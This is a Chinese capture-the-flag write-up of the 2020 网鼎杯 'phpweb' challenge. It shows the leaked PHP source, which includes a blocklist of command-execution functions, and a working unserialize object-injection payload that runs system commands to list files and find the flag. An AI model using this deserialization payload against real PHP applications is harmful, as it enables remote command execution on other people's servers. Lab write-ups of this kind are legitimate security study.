WEB

[网鼎杯 2020 朱雀组]phpweb

image-20240717150351634

查看html源码发现有用post传的funcp

image-20240717150440654

bp随便传些数据,发现有call_user_func()函数报错

image-20240717150523402

猜测后面有用call_user_func()函数

测试发现system() popen() exec() shell_exec() passthru() file_put_contents()这些写入文件和命令执行的函数都被过滤了。

file_get_contents()没有被过滤,读出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

到这里没什么思路了。

上网瞄了一眼wp

可以用反序列化进行命令执行。

用反序列化传入,成功执行命令

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

image-20240717151249492

找了一圈没发现flag。

使用find / -name *flag*找到些东西

image-20240717151521682

读取文件

image-20240717151616156